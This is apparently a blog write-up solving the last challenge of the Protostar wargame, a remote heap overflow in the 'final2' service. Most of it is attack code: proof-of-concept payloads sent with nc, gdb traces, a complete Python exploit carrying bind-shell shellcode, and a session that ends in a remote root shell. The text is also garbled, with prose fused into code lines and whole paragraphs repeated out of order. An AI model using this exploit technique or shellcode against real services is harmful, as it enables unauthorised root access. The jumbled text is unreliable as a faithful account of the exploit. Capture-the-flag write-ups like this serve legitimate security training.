This is the write-up for final 2 which is the last challenge of exploit-exercises' Protostar wargame and involves exploiting a remote heap overflow. The source code of the remote heap overflow vulnerable program is provided as follow:
while(*start != '/') start--;
After that, the rest of the buffer starting from p is copied into start's new position.
memmove(start, p, l);
Other important information to keep in mind:
- Each request is 128 bytes.
- Each request is allocated a chunk on the heap.
- We can chain requests with the same connexion.
With that in mind, our solution for this challenge involves sending two requests: The first one will contain the "previous" '/' from which we will start copying into. The second one will contain the ROOT from which we start iterating and the second '/' that marks the start of the area we copy from. A PoC to make things clearer:
And the state of the program when the crash happens.
entry with the address of our shellcode which will be located at 0x804e09c.
is used to jump over the second value written by the free() call.
#include "../common/common.c"The only difference between the provided source code and the binary on the target machine is the printf() within the check_path() function is not called in the binary. The vulnerability happens in the check_path() function as the '/' is assumed to be preceding the 'ROOT' in the buffer and is looked for backward with no boundary checking.
#include "../common/malloc.c"
#define NAME "final2"
#define UID 0
#define GID 0
#define PORT 2993
#define REQSZ 128
void check_path(char *buf)
{
char *start;
char *p;
int l;
/*
* Work out old software bug
*/
p = rindex(buf, '/');
l = strlen(p);
if(p) {
start = strstr(buf, "ROOT");
if(start) {
while(*start != '/') start--;
memmove(start, p, l);
printf("moving from %p to %p (exploit: %s / %d)\n", p, start, start < buf ?
"yes" : "no", start - buf);
}
}
}
int get_requests(int fd)
{
char *buf;
char *destroylist[256];
int dll;
int i;
dll = 0;
while(1) {
if(dll >= 255) break;
buf = calloc(REQSZ, 1);
if(read(fd, buf, REQSZ) != REQSZ) break;
if(strncmp(buf, "FSRD", 4) != 0) break;
check_path(buf + 4);
dll++;
}
for(i = 0; i < dll; i++) {
write(fd, "Process OK\n", strlen("Process OK\n"));
free(destroylist[i]);
}
}
int main(int argc, char **argv, char **envp)
{
int fd;
char *username;
/* Run the process as a daemon */
background_process(NAME, UID, GID);
/* Wait for socket activity and return */
fd = serve_forever(PORT);
/* Set the client socket to STDIN, STDOUT, and STDERR */
set_io(fd);
get_requests(fd);
}
while(*start != '/') start--;
After that, the rest of the buffer starting from p is copied into start's new position.
memmove(start, p, l);
Other important information to keep in mind:
- Each request is 128 bytes.
- Each request is allocated a chunk on the heap.
- We can chain requests with the same connexion.
With that in mind, our solution for this challenge involves sending two requests: The first one will contain the "previous" '/' from which we will start copying into. The second one will contain the ROOT from which we start iterating and the second '/' that marks the start of the area we copy from. A PoC to make things clearer:
kroosec@doj:~$ python -c "print 'FSRD'+'A'*123+'/' + 'FSRD'+'ROOT'+ 'A'*103 + '/' + '\xf8\xff\xff\xff'+'\xfc\xff\xff\xff'+'B'*4+'C'*4" | nc 192.168.23.5 2993Notice the second '/' (and the payload to exploit the free() call) is at the end of the request. This is to limit the effect of the memmove() which copies strlen(p) amount of data.
And the state of the program when the crash happens.
(gdb) x/i $eipArbitrary memory overwrite, just like heap 3. We will overwrite the write() GOT
0x804aaef <free+301>: mov %edx,0xc(%eax)
(gdb) i r edx
edx 0x43434343 1128481603
(gdb) i r eax
eax 0x42424242 1111638594
entry with the address of our shellcode which will be located at 0x804e09c.
root@protostar:/home/user# objdump -R /opt/protostar/bin/final2 | grep writeChecking that our addresses are correct, using a "int3" (sigtrap) instruction in place of our shellcode we get:
0804d41c R_386_JUMP_SLOT write
kroosec@doj:~$ python -c "print 'FSRD'+'A'*123+'/' + 'FSRD'+'ROOT'+ '\xcc' + '\x90'*102 + '/' + '\xf8\xff\xff\xff'+'\xfc\xff\xff\xff'+'\x10\xd4\x04\x08'+'\x98\xe0\x04\x08'" | nc 192.168.23.5 2993Now, with the final expoit payload.
(gdb) x/x 0x0804e098
0x804e098: 0x909090cc
(gdb) continue
Continuing.
Program received signal SIGTRAP, Trace/breakpoint trap.
0x0804e099 in ?? ()
(gdb) x/5i $eip - 1
0x804e098: int3
0x804e099: nop
0x804e09a: nop
0x804e09b: nop
0x804e09c: nop
kroosec@doj:~$ cat final2.pyLast point to clarify, is the short relative jump "\xeb\x05" we have add which
#!/usr/bin/env python
req_size = 128
HDR = 'FSRD'
NOP = '\x90'
jump = NOP * 6 + '\xeb\x06' # JUMP + 6
free_payload = '/' + '\xf8\xff\xff\xff' + '\xfc\xff\xff\xff'
free_payload += '\x10\xd4\x04\x08' + '\x98\xe0\x04\x08'
shellcode = "\x31\xc0\x50\x68\x6e\x2f\x6e\x63"
shellcode += "\x68\x2f\x2f\x62\x69"
shellcode += "\x89\xe3\x50\x68\x36\x36\x36\x36\x68\x2d"
shellcode += "\x6c\x74\x70\x89\xe2\x50\x68\x6e\x2f\x73\x68"
shellcode += "\x68\x2f\x2f\x62\x69\x66\x68\x2d\x65\x89\xe1"
shellcode += "\x50\x51\x52\x53\x89\xe6\xb0\x0b\x89\xf1\x31"
shellcode += "\xd2\xcd\x80"
first_req = HDR + 'A'* (req_size - len(HDR) - 1) + '/'
second_req = HDR + 'ROOT' + jump #16
second_req += NOP * (req_size - len(HDR) - 4 - len(jump) - len(shellcode) - len(free_payload))
second_req += shellcode
second_req += free_payload #17
print first_req + second_req
is used to jump over the second value written by the free() call.
(gdb) x/20x 0x804e090Let's get our remote root shell.
0x804e090: 0x0804d410 0x0804e098 0x90909090 0x06eb9090
0x804e0a0: 0x0804d410 0x90909090 0x90909090 0x90909090
0x804e0b0: 0x90909090 0x90909090 0x90909090 0x90909090
0x804e0c0: 0x90909090 0x6850c031 0x636e2f6e 0x622f2f68
0x804e0d0: 0x50e38969 0x36363668 0x6c2d6836 0xe2897074
kroosec@doj:~$ python final2.py | nc 192.168.1.5 2993 &And that is it with the last challenge of the Protostar wargame.
[1] 9577
kroosec@doj:~$ nc 192.168.1.5 6666
whoami
root
No comments:
Post a Comment